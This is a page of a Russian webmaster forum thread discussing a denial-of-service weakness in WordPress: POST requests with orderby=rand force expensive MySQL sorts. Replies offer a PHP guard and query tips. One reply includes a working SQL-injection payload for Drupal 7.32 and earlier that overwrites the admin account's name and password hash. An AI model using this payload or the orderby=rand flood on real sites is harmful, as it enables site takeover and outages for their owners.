Как правильно ддосить wordpress - Форум успешных вебмастеров - GoFuckBiz.com - Страница 5
 
 
Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB90.1887
BTC/USD67670.8027
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 08.03.2015, 00:22
Start Post: Как правильно ддосить wordpress 
  #41
chesser
автоматизирую интернеты
 
Аватар для chesser
 
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
По умолчанию

Сразу оговорюсь, текст ниже не нарушает правил форума и подобная формулировка названия топика создана лишь для привлечения внимания сообщества, которое до сих пор почему-то продолжает использовать Wordpress без соответствующих защит, несмотря на мои многократные предупреждения за последние 3-4 года

Ниже описана опасность эксплуатации WP, которой подвержены 99,99% сайтов. Причем, ей может воспользоваться любой новичок. Что самое интересное, это не дыра, не баг, не какая-то доп.настройка или плагин....это документированная фича ядра вордпресса!

Я с ней работал несколько лет...имею ввиду, дорабатывал вордпрессы так, чтобы эта фича перестала быть настолько уязвимой, какой она является в дистрибутиве по умолчанию. Сейчас решил поделиться опытом с публикой, а она поможет "распространить" эту информацию до владельцев сайтов

DoS (Denial Of Service) = "отказ в обслуживании", т.е. это ряд мероприятий над сервером или сайтом, а в нашем случае - над вордпрессом, целью которых являются доставление проблемы с работоспособностью веб-ресурса.

DDoS - тоже самое, только действия направлены не из одного источника, а из множества. Именно DDoS отдельно рассматривать не будем, т.к. для защит от распределенных атак нужно:
1) понять алгоритм или характер DoS-а
2) отфильтровать плохие источники запросов. Если ддос не такой сильный, то,возможно, поможет этот топик.

Кстати говоря, понятия нагрузочное тестирование и стресс-тестирование имеют общее с DoS, а именно: их цель - протестировать систему (в том числе) на противостояние DoS- и DDos-атакам. Поэтому, можно сказать, ниже описан способ стресс-тестирования вашего сайта на Wordpress

Описание метода. Теория.

More

Практическая часть.

More

Первоисточником этой команды пусть будет этот адрес: http://wiki.chesser.ru/CMS_Wordpress , постараюсь обновлять там информацию, если придумаю чего-нибудь еще интересное.

Способы решения проблемы:

More

__________________
USA и NL серверы и VPS | wiki | блог | Drupal | NginxТДС
Ave, Google, morituri te salutant! © chesser

Последний раз редактировалось chesser; 08.03.2015 в 00:35.
chesser вне форума  
Старый 08.03.2015, 17:43   #42
chesser
автоматизирую интернеты
 
Аватар для chesser
 
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
ТС -->
автор темы ТС По умолчанию

Цитата:
Сообщение от Matt Cutts
Ну так у меня и работает на любом адресе с 'orderby=rand'
ну и тут тоже самое, только этот orderby=rand передается не гетом, а постом, который ты не увидишь, а в URI будет обычный адрес, без orderby=rand
__________________
USA и NL серверы и VPS | wiki | блог | Drupal | NginxТДС
Ave, Google, morituri te salutant! © chesser
chesser вне форума  
Старый 08.03.2015, 17:52   #43
Matt Cutts
Senior Member
 
Регистрация: 24.09.2009
Сообщений: 821
Бабло: $106455
По умолчанию

Короче, надо найти еще сайт на wp, на котором будет такая форма, которая будет слать постом orderby=rand, так?
Matt Cutts вне форума  
Старый 08.03.2015, 17:59   #44
sspy
главный злодей гофака
 
Аватар для sspy
 
Регистрация: 18.06.2007
Сообщений: 5,760
Бабло: $953838
По умолчанию

это же особенность by design sql баз, а не баг wp.

тоже самое что обвинять феррари, что в её багажник 3 мешка картошки не поместится и по нашим ямам непрактичная.
__________________

Последний раз редактировалось sspy; 08.03.2015 в 18:06.
sspy вне форума  
Старый 08.03.2015, 18:08   #45
chesser
автоматизирую интернеты
 
Аватар для chesser
 
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
ТС -->
автор темы ТС По умолчанию

Цитата:
Сообщение от Matt Cutts
Короче, надо найти еще сайт на wp, на котором будет такая форма, которая будет слать постом orderby=rand, так?
зачем искать какие-то формы, бери любой вп и шли посты на любые урлы.
что-то я притомился это разжевывать.

Цитата:
Сообщение от sspy
это же особенность by design sql баз, а не баг wp.
я не заявлял, что это баг. Да, это особенность вордпресса, которая заключается в использовании плохих практик работы с БД. А учитывая массовость и универсальность применения вп, это камень в огород его разработчиков.
__________________
USA и NL серверы и VPS | wiki | блог | Drupal | NginxТДС
Ave, Google, morituri te salutant! © chesser
chesser вне форума  
Старый 08.03.2015, 18:16   #46
sspy
главный злодей гофака
 
Аватар для sspy
 
Регистрация: 18.06.2007
Сообщений: 5,760
Бабло: $953838
По умолчанию

Цитата:
Сообщение от chesser Посмотреть сообщение
я не заявлял, что это баг. Да, это особенность вордпресса, которая заключается в использовании плохих практик работы с БД. А учитывая массовость и универсальность применения вп, это камень в огород его разработчиков.
кидать камни в огород разработчиков, которые разрабатывают бесплатный и открытый продукт, которой стал самым массовым на рынке как раз благодаря своей простоте это немного неправильно. у друпала и вп абсолютно разные ниши, да и по сути у этих платформ и серъезных конкурентов-то нет.

плюс разработчики может и хотели бы всё исправить, но для этого пришлось бы пожертвовать совместимостью и простотой, что и является одновременно и преимуществом и недостатком у движка.
__________________
sspy вне форума  
Старый 09.03.2015, 01:07   #47
mr.Charlie
je suis Charlie
 
Аватар для mr.Charlie
 
Регистрация: 19.08.2009
Сообщений: 1,643
Бабло: $255632
По умолчанию

Насчет защиты вордпресса от этой хурмы. Можно просто добавить в index.php
Код:
if (isset($_REQUEST['orderby']) && $_REQUEST['orderby'] == 'rand') {
	echo "fuck dos!";
	die();
}
__________________
Ферма
mr.Charlie вне форума  
Старый 09.03.2015, 02:31   #48
chesser
автоматизирую интернеты
 
Аватар для chesser
 
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
ТС -->
автор темы ТС По умолчанию

mr.Charlie, ага
с таким подходом перед php дополнительно можно воткнуть nginx-правило, предложенное Matt Cutts и тогда все будет работать
__________________
USA и NL серверы и VPS | wiki | блог | Drupal | NginxТДС
Ave, Google, morituri te salutant! © chesser
chesser вне форума  
Старый 10.03.2015, 11:36   #49
xanxy
Senior Member
 
Регистрация: 18.08.2010
Сообщений: 360
Бабло: $66120
По умолчанию

Цитата:
Сообщение от mr.Charlie Посмотреть сообщение
Дело в том, что id - это автоинкремент. Линки удаляются, и образуются большие дыры между айдишками, поэтому рандом приходится делать выборкой mysql.
Ты меня не так понял. Я имею ввиду что то типа

$result = shuffle mysql_array("SELECT * FROM links");

Так будет намного быстрее чем

$result = mysql_array("SELECT * FROM links ORDER BY RAND()");

ORDER BY RAND реально нужен только совмесно с LIMIT, те что бы не выбирать все записи а только N рандомных. В остальных случаях можно просто перемешивать лист из пхп или чего то там еще.
xanxy вне форума  
Старый 10.03.2015, 11:54   #50
mr.Charlie
je suis Charlie
 
Аватар для mr.Charlie
 
Регистрация: 19.08.2009
Сообщений: 1,643
Бабло: $255632
По умолчанию

Цитата:
Сообщение от xanxy Посмотреть сообщение
Ты меня не так понял. Я имею ввиду что то типа

$result = shuffle mysql_array("SELECT * FROM links");

Так будет намного быстрее чем

$result = mysql_array("SELECT * FROM links ORDER BY RAND()");

ORDER BY RAND реально нужен только совмесно с LIMIT, те что бы не выбирать все записи а только N рандомных. В остальных случаях можно просто перемешивать лист из пхп или чего то там еще.
Ну да, у меня 7 лямов строк и LIMIT 30

Цитата:
Сообщение от chesser Посмотреть сообщение
mr.Charlie, ага
с таким подходом перед php дополнительно можно воткнуть nginx-правило, предложенное Matt Cutts и тогда все будет работать
Да друпал тоже то еще говно в плане безопасности. Ты, как спец по друпалу, не можешь не знать, что все, что <=7.32 ломается примитивной скулью
PHP код:
post_data "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in" 
А актуальная версия 7.34 такая вот шляпа
__________________
Ферма

Последний раз редактировалось mr.Charlie; 10.03.2015 в 12:04.
mr.Charlie вне форума  
Старый 10.03.2015, 14:52   #51
chesser
автоматизирую интернеты
 
Аватар для chesser
 
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
ТС -->
автор темы ТС По умолчанию

Цитата:
Сообщение от xanxy
ORDER BY RAND реально нужен только совмесно с LIMIT, те что бы не выбирать все записи а только N рандомных. В остальных случаях можно просто перемешивать лист из пхп или чего то там еще.
не, как раз в этом и заключается проблема: чтобы отдать N записей, mysql все равно сортирует все записи

Цитата:
Сообщение от mr.Charlie
Да друпал тоже то еще говно в плане безопасности.
кто занимается друпалом, те в курсе этой дырки, на форуме тут уже обсуждали это, НО я хотел бы обратить внимание на принципиальное отличие от рассматриваемой тут dos-уязвимости.
В Drupal-е кодеры недосмотрели, упустили, прошляпили и т.д., нашли дыру и сразу пофиксили(хотя нельзя это назвать именно фиксом, но решение было выдано). Практика показывает, что такое было, есть и будет при разработке любого софта. Сколько то времени назад была подобная дырка в вордпрессе, наверняка и сейчас что-то есть, о чем никто не знает или знают единицы.
А вот рассматриваемая мной проблема dos-уязвимости вордпресса - это его заявленная фича, которая, оказывается, идет в разрез с программными возможностями. Т.е. вордпресс либо (и скорее всего) знает о проблеме и ничего не делает, либо не знает, т.е. не знает как работает mysql(??? - вряд ли). В любом случае, дыра тут структурная/архитектурная/бизнес-фичная/маркетинговая и т.п.

Ну или вордпресс ни в чем неуиноват, потому что это блог для домохозяйки, а не система управления хайлоад-проектами - такая позиция тоже принимается. Тогда проблема переносится на тех людей, которые его используют для пухлых сайтов, как говорится: сами себе Буратины.
__________________
USA и NL серверы и VPS | wiki | блог | Drupal | NginxТДС
Ave, Google, morituri te salutant! © chesser
chesser вне форума